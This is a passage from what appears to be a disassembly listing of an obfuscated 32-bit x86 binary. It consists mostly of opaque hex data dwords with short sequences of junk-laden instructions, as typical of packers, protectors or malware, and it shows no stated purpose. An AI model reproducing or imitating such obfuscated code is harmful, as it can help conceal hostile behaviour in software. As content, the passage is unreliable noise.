39DE1ED0h, 0B8599C9Ah, 94D40FE6h, 0E3EC75E7h, 0C60CC6Fh dd 619BC360h, 97E14DECh, 116C4366h, 0FBEC1846h, 42D9D361h dd 0B42C116Ch, 3DDC1117h, 0BC899069h, 0B64050E2h, 0DF30CBDh dd 0E94529C8h, 5AF979B7h, 3F399AF6h, 0E7B71BB6h, 1A6F2B59h dd 0B9AF1D43h, 4C06CBF5h, 7DFE3DB2h, 741874D8h, 8CD8B4D8h dd 0CC6DEC22h, 0AAF0C60h, 0B3241B6Eh, 0AEC2AE02h, 42F06AF0h dd 1756676Ah, 393345DDh, 8C175667h, 7FE5B714h, 3F9342B1h dd 80267E53h, 79E59197h, 95B0A0DAh, 0DB4312A8h, 3FF87D77h dd 0DAB61ABDh, 0A54CE2B6h, 4C2AD2C7h, 4147E4A0h, 0B7C16D0Ch dd 75439FD6h, 5665979Dh, 31E2141Fh, 0C99DF19Dh, 0B31FBA33h dd 0C79938B9h, 0B814CB09h, 0E499DED4h, 9B7E747h, 9E99DCDBh dd 47B5BF5Ch, 3C503C90h, 0FF5B9268h, 0CFA757D4h, 6D335FD0h dd 0DAB4F784h, 96D96770h, 3517C8Dh, 0E3510F6Eh, 0A501E809h dd 0E747E47Ch, 336h, 0A5086F00h, 9834EB6Dh, 12BE5B92h dd 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h dd 0AA65784h, 822ECF00h db 0E9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 18C2h mov [esp], edi push edi mov edi, 1DA6323Ah and edi, 4727422Ch shr edi, 4 not edi sub edi, 1 sub edi, 70907132h xor edi, 8AEC9143h mov ecx, edi pop edi push esp mov edi, [esp] add esp, 4 push esi mov esi, ecx push ebx mov ebx, esi mov [edi+8], ebx pop ebx pop esi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- db 0F3h dd 0B82914F6h, 5F1C4BCh, 0E0FFC503h, 78E098A2h, 5CA8924Dh dd 66523A3Ah, 626660C7h, 1FFE3F11h, 6EAFC10Dh, 77D7CE8Eh dd 69385576h, 6A1730EBh, 18A1B5AFh, 403EC422h, 4C54653Ah dd 405701A6h, 508A670Ch, 1033B16Ch, 2994B449h, 0C6728D8Dh dd 6A05F1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0BD49E1C3h, 0C2FFB29Ah, 8529A76Ch, 5EA05DDh dd 0ADD8D89h, 860F05EAh, 0Dh, 0B3EFBB60h, 820F06B8h, 0 dd 0CD85C761h, 0E405EA0Ah, 6A000059h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DEF9C356h dd 8571BBEBh, 85C77B6Bh, 5EA25F5h, 0 dd 2361B58Bh, 12E905EAh, 5A000000h, 2736CAEAh, 3203F91Bh dd 36E96AE0h, 12C25D84h, 0BDB5FF35h, 6A05EA2Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 5AD0C357h, 0F8ACC2BFh, 2A1995FFh, 0B58B05EAh, 5EA0E99h dd 95FF006Ah, 5EA1015h, 18EBC08Bh, 2164DFD8h, 15C0EFEAh dd 66CD7F3Ah, 468421F6h, 0F0404683h, 48013E21h, 0C7A58D8Dh dd 6A05F1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 800F4AC3h, 6, 24A1B589h, 0CBB405EAh, 0ADD8D89h dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0E95E7FC3h, 14h, 199376E6h, 0ABC20CFCh, 0A0759392h dd 0BB81C1AFh, 0AACED18Dh, 0ACD85C7h, 67F805EAh, 8D890000h dd 5EA0BB9h, 25F585C7h, 5EAh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B0E8DDC3h dd 29D0FA7Eh, 0EA0D098Dh, 12E905h, 4DA60000h, 0FED92876h dd 0DB02D37h, 7EF37237h, 1B705CDBh, 0CFDBD33h, 0B5FF05EAh dd 5EA0BFDh, 0AE8h, 0F2C7D500h, 6A737492h, 0BFC6CA1Ah dd 54A5A13Bh, 1995FF5Fh, 6A05EA2Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6643C357h dd 0B529851Ch, 6A17A6E7h, 1595FF00h, 8B05EA10h, 2E78EBC0h dd 0DDB169D1h, 0DE8E253Eh, 0FB623912h, 6712B7Dh, 0C16D20Fh dd 1D4B467Ch, 41274C56h, 20D9D2B8h, 979F3011h, 0C4F623B1h dd 198615B4h, 4E9F1129h, 0AA42D399h, 0B28C7AABh, 5F363211h dd 70B4A164h, 0C70F21C3h, 7BF104ECh, 0E5B83A74h, 5F971D92h dd 4F29FF1Fh, 12A63857h, 0F30C3B51h, 61B2BC50h, 0E2065AD1h dd 8DCFA161h, 5599F81Dh, 3D193232h, 0CCC16018h, 0E8BA78CAh dd 0Fh, 0C02CDD7Fh, 3DC445A8h, 0B13CBE55h, 0F4C15DAh, 688h dd 7D858900h, 5905EA31h, 8075BE66h, 6E57C181h, 95890000h dd 5EA13DDh, 0BFh, 259D8900h, 8B05EA1Eh, 0B8663914h, 0EA816BFCh dd 203B58E8h, 6850Fh, 0F0810000h, 86D906Fh, 41B0C281h dd 0D681377Ah, 70058507h, 377EF281h, 6660326Bh, 0BD20E181h dd 39148961h, 14E9h, 4479D500h, 2E935D47h, 0BAA86F79h dd 0EB6D19C2h, 8EB5E6FCh, 1EF832Eh, 78E0Fh, 66510000h dd 0B98DD681h, 4F4F4F5Eh, 0DEE08166h, 50FF81F1h, 0FFFFF92h dd 0FFFF8E85h, 8B76B3FFh, 0C0h, 185h dup(0) dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EC35242h dd 0E646412Dh, 0FE9h, 0D33E6300h, 0C4E4F2B9h, 0B66D5272h dd 0AA0DF537h, 5E9h, 36257600h, 14E99928h, 70000000h, 899DCD94h dd 0ECB47DDAh, 6F69B703h, 2DA69D58h, 9D87FEA9h, 666061F8h dd 609264BFh, 76FE54BAh, 0F78B6636h, 6A5D6161h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0AD40C355h, 13571085h, 14E9FCh, 6B000000h, 30EFDA33h dd 1837832Dh, 315FB7Ah, 0CF39A92Eh, 4401EF15h, 66600824h dd 5861C68Bh, 66D78B60h, 615C76BAh, 6AC39Dh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C6A5FCC3h dd 47523CB1h, 6A8C4Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 1B6857C3h, 1F0DA8D8h, 0E9C08B5Dh dd 9, 25F0048Dh, 53FF100h, 0D08166B9h, 5E9B83Fh, 0A0000000h dd 0A0A0A0A0h, 815AC880h, 8DDE9EE3h, 1DCF8153h, 6665A279h dd 60BD8FBFh, 2AB2BA66h, 5860Fh, 81660000h, 610CF3E9h dd 0F1E68166h, 45B151FBh, 8C0FF55Eh, 5, 0E5B764BEh, 0FABF0F06h dd 0F0BF0F60h, 12E9h, 0C759C500h, 59949C46h, 0E10A15D0h dd 561CA90Bh, 61F4D7CDh, 0DEB70F60h, 8B86661h, 0BE950F5h dd 0D6000000h, 217D8966h, 0AFAD7241h, 665849F4h, 8970D181h dd 5FC98166h, 0C1B70FF1h, 0EE9h, 24734E00h, 0CCB2C91Dh dd 910F1B0Dh, 0F8DB7B7h, 48Dh, 6B96600h, 4EBA509Dh, 5813906Eh dd 8F0Fh, 0CE80000h, 0A1000000h, 89F46FB5h, 0FAFAC8C3h dd 0E9B7BD14h, 10h, 0EAFEC251h, 8486D6B6h, 0F397C1ADh dd 63FDF98Dh, 16BFF95Eh, 6645A1DAh, 0DCB0F98Bh, 66D18B66h dd 2FFBE781h, 80D0B70Fh, 8B663ECDh, 5800FD3h, 0B9000000h dd 1C108273h, 0B9C28BF5h, 3B214F24h, 0CE9h, 66EB3F00h dd 8CD936F4h, 429F355Bh, 3860F7Eh, 80000000h, 0CC8075E6h dd 0F98B6698h, 0FCF9DBB7h, 0F08BCB8Bh, 3DE9E5BBh, 2BA6667h dd 0C28B663Ch, 56A9BE66h, 80FFBF0Fh, 0E9F51DEFh, 8, 59572685h dd 39FAD101h, 14E9h, 27AB5D00h, 9D123A36h, 1D770E8h, 2CAAEDA7h dd 44DB8667h, 816660C9h, 50B782D2h, 0D0AFBE66h, 5E8615Ah dd 0F4000000h, 0BA858FB8h, 665E5158h, 8160F18Bh, 99A266C0h dd 2334BE3Ah, 0F615BD7h, 8166CABFh, 0E8A2D7E8h, 0Dh, 0E478C43Ah dd 0E352E0CAh, 99AB9F54h, 7E86016h, 1D000000h, 835DB707h dd 61592767h, 3880F5Bh, 66000000h, 0E953F18Bh, 11h, 70CEF703h dd 0DC1EE7DDh, 32A81717h, 0F1A05727h, 0E1815EDFh, 57E44D8Eh dd 14870Fh, 0EE80000h, 5E000000h, 0E3136E25h, 0A1F4C767h dd 23A1ADE4h, 10E95866h, 90000000h, 23D44D6Ch, 9F1B7DABh dd 651462E8h, 664A9885h, 0B70FFB8Bh, 0D3D380C2h, 4820Fh dd 0BF660000h, 8B669A30h, 7E9C2h, 3C530000h, 0FC5B7574h dd 0F9E881F6h, 50601532h, 61EF8A60h, 60CA8A59h, 88FBEF81h dd 0E861190Ch, 0Ah, 412D0E50h, 37AFE646h, 8F0F10A4h, 1 dd 0EC8A5FF8h, 5097D580h, 870F58F5h, 5, 34719CB9h, 7E926h dd 0B0720000h, 0EF85B2F8h, 0FE875h, 0C1080000h, 0ECD13B24h dd 4DBEF46Eh, 1C6643FEh, 14E985h, 35CB0000h, 3FBC8B0Fh dd 55E30926h, 0C59C4DC4h, 8161C232h, 665EE85Bh, 8D23EB81h dd 8E9h, 12958100h, 7CF8BAFEh, 0BF665632h, 665F17ABh, 1370CA81h dd 0F551DA8Bh, 6614B55Fh, 0BBC5F181h, 4EE38156h, 5E7CFA02h dd 5E95B866h, 28F0Fh, 52B50000h, 5880Fh, 81660000h, 0F4186E7h dd 288h, 66E18A00h, 13E8D68Bh, 0C6000000h, 0D31BF1A4h dd 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 7E9DDFDh, 0F2000000h dd 7888522Fh, 0E95F85E8h, 6, 765EA833h, 8A0FEB3Bh, 0Ch dd 68D0Fh, 870F0000h, 0 dd 6880F60h, 0F000000h, 83h, 28D0F00h, 60000000h, 0BF666161h dd 8E88FA1h, 7A000000h, 7D0B75A4h, 0E90699BBh, 10h, 3E19F5ABh dd 0E5D2CC49h, 4910B764h, 0EE55C9Eh, 9B6F858h, 51F18B66h dd 13E850h, 10BB0000h, 8AA4E1CDh, 0F8FBBF09h, 405679D7h dd 922D9960h, 5A5F5E95h, 0BEC2BF0Fh, 35C08EC9h, 58F0Fh dd 0D6BB0000h, 0E903E1A2h, 13h, 186DF473h, 6D252770h, 0ED84467Fh dd 5DA15F59h, 0B6D4E15Dh, 12E9B9h, 0A3D40000h, 1BB4559h dd 85EB34A3h, 86FF56CEh, 630F9D23h, 80FBB70Fh, 8B6633DDh dd 0BE9D7h, 0E7740000h, 746AAD0Fh, 2510238Bh, 0E368BE60h dd 0E9604567h, 11h, 3ADDD55Bh, 0F1E07FF7h, 5FB5111Fh, 0B4BCD2EDh dd 14E9606Dh, 0AB000000h, 6DE5AB9h, 0B10A45AEh, 0D0077038h dd 70290673h, 51EA0FAEh, 0E861615Bh, 5, 9A60EBD1h, 0F2816607h dd 57589B19h, 28E0Fh, 0F38B0000h, 0F2BF0F58h, 13E9h, 0E2AD3700h dd 0B50245F6h, 8A98C502h, 0E5C804A5h, 855C3EE2h, 8BFFB70Fh dd 13E9CFh, 70A70000h, 3108CA7Ch, 1C8F597Dh, 4B48635Ch dd 0D89017CFh, 0F65B287h, 8E9CEBFh, 92000000h, 0DB2F0DBh dd 660739B1h, 9D22D281h, 2860Fh, 59500000h, 62C78150h dd 5B5A0708h, 17810Fh, 870F0000h, 11h, 0CE9h, 0FF04C200h dd 57DF4164h, 0D2E82F48h, 8B665269h, 0CB815ECAh, 44A9C2FCh dd 0BE9h, 94AB6C00h, 0A47C0A5Eh, 7C932BC7h, 28B0Fh, 7B50000h dd 0C28BF38Bh, 0EE8h, 6BDCB200h, 0D3C5DF3Fh, 0EA5EF4CEh dd 0BBDB9416h, 9602446h, 58F0F5Ah, 0BB000000h, 5E1997CDh dd 0F6816651h, 815F474Ch, 9B24DEDAh, 0F18B664Bh, 0BA19A0B8h dd 8E83Fh, 41300000h, 0BA7177F3h, 8B5FD541h, 0C68166C3h dd 0BB66AC7Bh, 0AE93C9Eh, 0E5000000h, 0FFFED19Dh, 0CD9A26BEh dd 0DA816653h, 0EE9C6ECh, 75000000h, 5A7F51EEh, 0E3E1F264h dd 54EECEEDh, 13E978h, 5840000h, 73223E50h, 467390D8h dd 206D6CB0h, 10F5B025h, 99ED80A7h, 3EDA81FCh, 66427730h dd 7476C681h, 6616F080h, 0F95336BEh, 0CE9h, 37A02D00h dd 617F7EAFh, 11048C94h, 0C1B70FACh, 644AC081h, 0B96606B7h dd 850F7D20h, 0Dh, 34C38160h, 0B94AA2A5h, 433B6AADh, 0BBF78B61h dd 28BDC7B1h, 6E9h, 0BEF7F300h, 0F53244EEh, 830FC88Ah dd 2, 0B45785B0h, 81665939h, 0F9879E0h, 840FD1B7h, 0Bh dd 58C0Fh, 26B80000h, 0E800D58Dh, 7, 8CAC8886h, 0E852735Ch dd 13h, 0F4CF924Fh, 982A6629h, 0E2242229h, 0CB209C7h, 0E83083D8h dd 0Bh, 0E54E7318h, 0A14268E8h, 5B42106Ah, 66F9585Eh, 0B65FC881h dd 66F0B70Fh, 8B66CB8Bh, 11E8F9h, 0EC1A0000h, 0F2FA90E9h dd 0A6E544A7h, 0F75CF0E5h, 66A71181h, 0C39D381h, 0F3BF665Eh dd 0FC68B8Bh, 0DE8F9B7h, 47000000h, 0BCB3BF91h, 8555EA87h dd 4849D208h, 7581BA66h, 0C6BF0F5Eh, 0C8D0Fh, 8E0F0000h dd 6, 0B3FCDA81h, 0BB661B87h, 820F33C7h, 0 dd 0CE8h, 8CCAE800h, 0D94EDFE2h, 5DF728B4h, 0FE943h, 11C90000h dd 0BB0FE53Fh, 81227403h, 0A54F4796h, 8B665FF7h, 15830FCEh dd 60000000h, 0CE9h, 30907F00h, 0D66B7504h, 5F011FE1h dd 61616059h, 0FD3B70Fh, 0D8Fh, 6E800h, 48510000h, 0DD810B19h dd 8E0F5BF9h, 8, 2870Fh, 0C38B0000h, 0CAB70F60h, 10E9h dd 0F404B00h, 0EB1C8CECh, 9BF6500Dh, 3C8384CCh, 5E96104h dd 43000000h, 141319C0h, 0CE9h, 91402D00h, 0B2A3D782h dd 0D433AD8Eh, 27E580F9h, 8B66F28Bh, 67C181C6h, 0BF3631D4h dd 31B3A8Eh, 8151C88Bh, 0D853EFF6h, 0EE95F77h, 5D000000h dd 26B7CA75h, 49099CB1h, 0AC047915h, 0DE8BFCC8h, 80DE8B66h dd 8B0F1DC5h, 3, 0FC8B70Fh, 0D480CBB7h, 870F53B0h, 5, 0E2C08166h dd 8BF55A71h, 0AFB851C2h, 5F6739CCh, 6650FC60h, 0A8E2DA81h dd 0FE96158h, 58000000h, 0F281665Eh, 6BD1809Ch, 6EE34C52h dd 8B603561h, 7E8C7h, 0C9C90000h, 5711D1A6h, 5A61601Ah dd 0A0BA6661h, 8B50532Eh, 0F5858C7h, 8Dh, 8B57FC00h, 2BB159D0h dd 0CE9h, 24CD2500h, 0AAD64287h, 0B6296467h, 8B66560Bh dd 880F5AC1h, 0 dd 0C28B49B6h, 8D0FD88Bh, 1Eh, 18890Fh, 12E80000h, 65000000h dd 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 24CE0375h, 0EA8A580Eh dd 8B6060B6h, 0E95061F7h, 5, 3E91644Fh, 830F5B71h, 0 dd 28E0Fh, 25B10000h, 10E8D78Ah, 6000000h, 92383331h, 933F8FF2h dd 0DBCC130h, 0E9C3BA8Bh, 0Dh, 8663F27Eh, 0E46218CFh, 0F8B25D74h dd 8E95B84h, 0BE000000h, 209A1BB2h, 0FB151C8h, 289h, 50CE8A00h dd 11E8h, 2E4C2F00h, 5EC6687Ch, 0B2420B04h, 49E29EB7h dd 11E85838h, 18000000h, 0BC9F0F89h, 91703273h, 0A2121192h dd 0DDA5DD8Eh, 515B5958h, 7FF3BB66h, 11E859h, 6B610000h dd 64F23982h, 0D72CBA0Ah, 7E7D34DDh, 0FD6573Dh, 68Ah, 890F00h dd 5E000000h, 0EE816652h, 0F95A7112h, 0DE8h, 5965F00h dd 9F8AEA9Ah, 4F37C041h, 0DE83095h, 0E4000000h, 0A77F94EAh dd 4B61AC4Bh, 0BFCB9996h, 5F5B6160h, 14E9F9h, 61BF0000h dd 67261554h, 737D13D0h, 87A9F9Dh, 0D13B24C1h, 0ED806EECh dd 6638B490h, 34F2CA81h, 0FF6BF0Fh, 0C8BAFBB7h, 0B259C182h dd 0BE6060B4h, 10DCC895h, 0F61DE8Bh, 18Fh, 0F61F800h, 6E9FFBFh dd 0AF000000h, 9193CE38h, 0C0816673h, 0D98AA7F1h, 5EDFB651h dd 0FE8h, 0BD8C400h, 306AC1D6h, 34D9CE5Eh, 233FDF19h, 58D08B66h dd 4CEB81h, 81F8521Eh, 0DEE3FBF6h, 0D88B667Fh, 2279E281h dd 81664A4Ch, 8B0A76C0h, 850FF8C3h, 3, 0B0C6BF0Fh, 6060F5C1h dd 8B666160h, 0BF0F61D3h, 0DF8161F2h, 22691649h, 9EDA8166h dd 77CE81F2h, 5173E3BAh, 6860Fh, 8E0F0000h, 0 dd 0D7BF0F5Ah, 66D08B66h, 804A9FB8h, 0D6804DD6h, 0C1BF0FC7h dd 842CBA56h, 0F5F6E74h, 0A80h, 5E900h, 75FC0000h, 66C46BF3h dd 0BF755DBAh, 0C7337D7h, 10E85A51h, 94000000h, 0A46258DEh dd 88E1491Dh, 0E6B1B0A1h, 60238E10h, 5A616160h, 850EB866h dd 0DBD2CBBEh, 11E968h, 83C90000h, 0EA2B20B3h, 0A44CADD1h dd 752945D7h, 0F40BBFEh, 385h, 26ED8000h, 9E851h, 0F5DC0000h dd 159A5EA4h, 0E96F578Ch, 10h, 72F737F8h, 0E26B01B3h, 0DD65DC54h dd 0C5F36FCAh, 8B665F5Bh, 0FE8FBh, 0EBE60000h, 17CE747Fh dd 9CB5BC89h, 841D01EDh, 0FAC781B2h, 5B3B563Bh, 6668EA80h dd 880FCB8Bh, 5, 56F38166h, 18B0FB5h, 0F5000000h, 0AE8h dd 0BF795E00h, 223AE6EBh, 66F33557h, 5AACFDB9h, 56B3B866h dd 7D4CDA81h, 0FFC0CE0h, 280h, 0FFB8B00h, 289h, 81A9B700h dd 3974BEEBh, 7FBB662Ch, 67BF667Bh, 89E680DDh, 0BE951h dd 73A30000h, 36B68AEBh, 79C8D8BBh, 66F85EF1h, 8166D68Bh dd 0F84B8EBh, 582h, 0F1816600h, 81660A1Bh, 0F7D64C7h, 68Fh dd 0BE665300h, 0F58CC89h, 687h, 0BEC28100h, 0E9416B06h dd 0Ch, 0DA37E577h, 516A38DBh, 0FB4F9DE3h, 0F60BAB4h, 198Ah dd 14E900h, 79260000h, 0E72A8FB7h, 4F0CD715h, 5646B110h dd 0AC51FDC7h, 890F9A87h, 3, 6196C680h, 0E9C3B70Fh, 12h dd 7B63FDF9h, 236BFEEh, 14DF0888h, 97C200C0h, 0D98B8FFAh dd 0E3BA6660h, 0D68B6607h, 0EABE6661h, 0F98BF567h, 840FE88Ah dd 3, 0FDFB70Fh, 0E83h, 6E800h, 0C99C0000h, 18C7FF3h, 0E85BC18Bh dd 6, 4FED4B2h, 0B8664CABh, 0B45FDF2Eh, 0B70F5002h, 2DB55AC9h dd 0FCA8B66h, 8166C0BFh, 8AD600C1h, 0B2CE81CFh, 52138FB9h dd 28E0Fh, 5F500000h, 850F5Ah, 0F5000000h, 0BE9h, 468CEE00h dd 9EB4575Bh, 0F1B362C1h, 0E9F78B66h, 8, 74666BE5h, 6AAD0FE7h dd 0EE8h, 9923A200h, 0B95EF55Eh, 2FB300D7h, 8B6762EDh dd 0EC8059FAh, 0C78BF96Eh, 4860Fh, 0BE660000h, 0BE9E9Bh dd 0F7D8B71h, 8E8C0B7h, 31000000h, 0C5D38AF6h, 0F9779B0Fh dd 5E95Ah, 2BC0000h, 51AE10C6h, 0BB59EFB1h, 2420B494h dd 5860Fh, 81660000h, 0B3A631F0h, 1870F1Fh, 0F8000000h dd 0BE9h, 67930400h, 6D41A2F7h, 0D30559E3h, 0E9A3CF80h dd 12h, 0D5D89E2Dh, 3EC741BCh, 2300E76Fh, 3878B837h, 14E9DF61h dd 0EE000000h, 35381C0Bh, 0A5CB8FDEh, 539721BBh, 1C870B3h dd 665374B2h, 11CFE981h, 2342E781h, 0F562E7Eh, 118Eh, 0BE800h dd 1D840000h, 4953D569h, 0AB18C8Fh, 0E95B5B65h, 5, 0ACF3A82Eh dd 0AE96049h, 82000000h, 0D95CA43h, 29243FCAh, 61D78B76h dd 1FC3B5BAh, 2850F4Eh, 8B000000h, 0CF8166C2h, 8F0F1570h dd 1Fh, 19880Fh, 14E90000h, 24000000h, 517CEDB9h, 85BB397Dh dd 7B79121Eh, 0C44DDC3Ch, 0BF869005h, 611AF951h, 4F91BB66h dd 0F18B6660h, 8161C18Bh, 953FB6CEh, 0D98B664Fh, 0FCB8B66h dd 1B83h, 11E800h, 51040000h, 4CC29FB5h, 69D8C273h, 0F5C9469Ah dd 6616B46Fh, 5F9F86BEh, 0BE9h, 0CF825900h, 0B9B5C3E4h dd 0AEF67D7Ch, 0FCF5B2B1h, 0BE8h, 0EAD87D00h, 9ADE86C0h dd 7D295D95h, 665950B1h, 8A0FF38Bh, 4, 84BEBB66h, 0DC23D081h dd 9E934E5h, 2D000000h, 0C1328A9Fh, 5BA30EAEh, 38D0Fh dd 0C8800000h, 0B6D88192h, 51643B1Bh, 665AD88Bh, 0E9BEFABFh dd 0Dh, 83DA0F1Eh, 94B9DD3Ah, 252D904h, 0AE98Ch, 0A95D0000h dd 62259A8Eh, 3DDE33AFh, 1DC38160h, 0F3962B5h, 1686h, 10E800h dd 14D30000h, 23C6A714h, 614E175Dh, 0EDBBA115h, 615B8876h dd 2957C281h, 5F5220B0h, 0C18B6650h, 0BBBE6658h, 4CBA6628h dd 8BF28B52h, 8E9CFh, 94520000h, 42DEBE67h, 11E89207h dd 0E3000000h, 53E41F5Eh, 56392Eh, 2C53E2F8h, 34CFD25Eh dd 6ACB8160h, 60048DE7h, 0E9586161h, 7, 45C40D17h, 815571F8h dd 0F2F3A3D0h, 0B70F5357h, 0E38A5EF6h, 8810Fh, 890F0000h dd 2, 0BB66E68Ah, 816051C3h, 0FD1AFDD2h, 18F0F53h, 0F5000000h dd 8B666061h, 13E9CBh, 7F510000h, 0E1F2645Ah, 0EECEEDE3h dd 75947854h, 5CA2C87Bh, 0E98061C9h, 2BB9669Dh, 662FB742h dd 8B6A96BFh, 0F28166F1h, 0E08144E4h, 660D0EC5h, 665323B7h dd 0E95BCA8Bh, 0Fh, 85AA7CD0h, 7244AE57h, 0AD435BD2h, 0FCBD5C56h dd 13E8h, 2B79E200h, 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h dd 0B830Fh, 5E80000h, 2D000000h, 8C49FE93h, 0BF665B5Bh dd 0E18AF8FCh, 208F0Fh, 66600000h, 1AFF781h, 14E9h, 0C5603C00h dd 0FD6AACBEh, 0D3A5B3D6h, 1B6BE8AEh, 96415DFDh, 0BE606107h dd 3F82D92Ah, 14E9h, 46B11000h, 51FDC756h, 749A87ACh, 50935FFBh dd 77204F1Ch, 95B16194h, 0E95FF780h, 10h, 0D9FA71B7h, 67F2BAB8h dd 0D9117BBCh, 4A9339E5h, 5E9h, 0E317D800h, 830F408Bh dd 5, 0A96AC9B8h, 0D2D9817Bh, 601E47EBh, 66D9BF0Fh, 61A2D7BEh dd 55B866F9h, 0E9C781B2h, 666871DEh, 8B66CE8Bh, 0A2C281FAh dd 666C758Ch, 0ED1CDA81h, 0D4CB8166h, 0FE969h, 78B10000h dd 52189F4Bh, 291C00Bh, 7665A709h, 11E890h, 0A25E0000h dd 38BB5662h, 6DD7FCCAh, 6AECED29h, 0BAD43DBDh, 1A5DAF41h dd 0C1BF0F58h, 4890F56h, 66000000h, 5F5A6FBEh, 0E8C78AF8h dd 0Ah, 781C4BB7h, 0CE1F288Ch, 665F9FC8h, 4335E381h, 0E9FFB70Fh dd 13h, 8A440664h, 0D017DA9h, 153E4D7Eh, 764FC208h, 0BE4F80BAh dd 73CBF223h, 0DE9h, 2C08FF00h, 96E20D3Dh, 0ACBC2AA2h dd 0B0606640h, 0EE938h, 0BB450000h, 0EB34A301h, 0FF56CE85h dd 0F9D2386h, 0AE96061h, 0 dd 0D1F1BA01h, 0A8B3D4Ah, 2860F07h, 8A000000h, 11E861D0h dd 4F000000h, 0CA5BFB00h, 0CD2DDBDh, 1C9C4EF8h, 1961EADBh dd 0F5FCE8Bh, 158Fh, 0DE86000h, 0DC000000h, 0FEAFB719h dd 1664BE4Dh, 3971145Eh, 0BA66615Fh, 8166A1D7h, 0B657E7D7h dd 0F5D18BABh, 14E9F5h, 0BF9C0000h, 733CE014h, 7263BEB2h dd 2F17C4A7h, 0DC3476E1h, 606072C5h, 0EE8h, 4E1E8900h dd 61B60FAAh, 99ECAA2Dh, 59A8F051h, 61C88B66h, 0E9615950h dd 12h, 2F41543Dh, 481A606Bh, 0AADD8518h, 0C1712CBCh, 840FA173h dd 3, 81AFDB80h, 0C0C7A4D2h, 0BBF08B30h, 65089FC5h, 9E95A53h dd 27000000h, 7780D209h, 0F2F34674h, 5706DE80h, 0C8E0Fh dd 6E80000h, 0E000000h, 392F7F4Ch, 0B75F5925h, 13E9A9h dd 79CE0000h, 558855CFh, 29B9C5Bh, 45C334BBh, 0D01E934Dh dd 39B3FCA0h, 12E9h, 0CFC89E00h, 0DCEF76AAh, 97738FF6h dd 5B395D25h, 0B9F22A60h, 7D47DE6Dh, 6623C580h, 0F50843B8h dd 2850Fh, 53B10000h, 8BD7B70Fh, 0CF8B66DAh, 12E8h, 3CAD0100h dd 4A55610Eh, 0FAB7FE59h, 685A7BAFh, 0F4A1F84h, 184h, 605BF500h dd 61DED680h, 5E9h, 7AB1DC00h, 8056A42Ah, 0E85E54EBh, 12h dd 4E0A607Bh, 5A37651Eh, 51FB46ACh, 83F072E2h, 0EE9EB48h dd 34000000h, 233FDF19h, 0B9E30D24h, 0EA078AE2h, 0EE859D5h dd 6A000000h, 0AE9BC8h, 0C60A68E0h, 0AD716068h, 5B61606Ch dd 13E9h, 0F14C4800h, 0CCE47AD3h, 6AFE421Fh, 980A467h dd 3792C7B5h, 8B66EF8Ah, 6880FD1h, 0F000000h, 81h, 5800F00h dd 60000000h, 61C3BF0Fh, 266DA81h, 14E93E7Bh, 17000000h dd 748EDB40h, 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah, 663AA3DFh dd 6BEFC081h, 12850Fh, 0DE90000h, 14000000h, 0EA5FBCABh dd 0B6AFBF1Dh, 0B4F73941h, 12E8h, 0B58A0800h, 0D50225FAh dd 788A6D3Eh, 0BF00AFAh, 0F92C12Eh, 38Ah, 0C18B6600h, 3AD68159h dd 0F26984Ch, 382h, 0D78B6600h, 0CF8B6657h, 0D3F7815Eh dd 661FDB03h, 0B022D7B8h, 10E935h, 0B7000000h, 455CFEDCh dd 60EBD100h, 0A07A079Ah, 8B66DC3Ah, 0BFE9BAD6h, 7E96A82h dd 26000000h, 1533FCC6h, 0DE8BDFABh, 57C28B66h, 9E9h, 4CE56A00h dd 1FE4AB1Ch, 535E5DEAh, 8058F98Ah, 0F60B8E9h, 0E861F8B7h dd 5, 0FE2A5430h, 51EE8182h, 5F6566A2h, 0F7BF0F60h, 8E9h dd 3B3BA600h, 867B7B3Eh, 0EA806197h, 0B8C0FE5h, 0F000000h dd 582h, 0EF816600h, 0B966C21Dh, 0E081C859h, 207EBE79h dd 28E0F60h, 8B000000h, 810FD0h, 61000000h, 0FDBBF0Fh dd 0B83h, 5840F00h, 66000000h, 132CCE81h, 8B0FF98Ah, 9 dd 0BA616060h, 3A52C759h, 49BB6661h, 0D081664Fh, 0E8BF98E5h dd 8B007862h, 0F7D480F2h, 0F8E18166h, 3DC4807Eh, 66F18B66h dd 8166C38Bh, 0F523CFD9h, 68E0F53h, 81000000h, 4A7850EEh dd 8B665A09h, 8166F5F0h, 66BEF9DAh, 0F3E4DA81h, 0FE8h dd 63FE6D00h, 0DC440032h, 0D221BCB5h, 0E87B5528h, 9E8h dd 0ADE4A100h, 7C6623A1h, 0C88B0560h, 8B665858h, 0AC13BEF7h dd 11B9513Bh, 0F812E988h, 0A6CB8166h, 0B6BCBF4Fh, 840F4A48h dd 0Ch, 0F0816660h, 8166AF7Ah, 6134EFF2h, 66F8B70Fh, 8B66DA8Bh dd 56CC80F1h, 0E890Fh, 0F600000h, 86h, 890F00h, 61000000h dd 8A59F951h, 92D181EFh, 661DF888h, 821BE781h, 0B8E0Fh dd 6E90000h, 4D000000h, 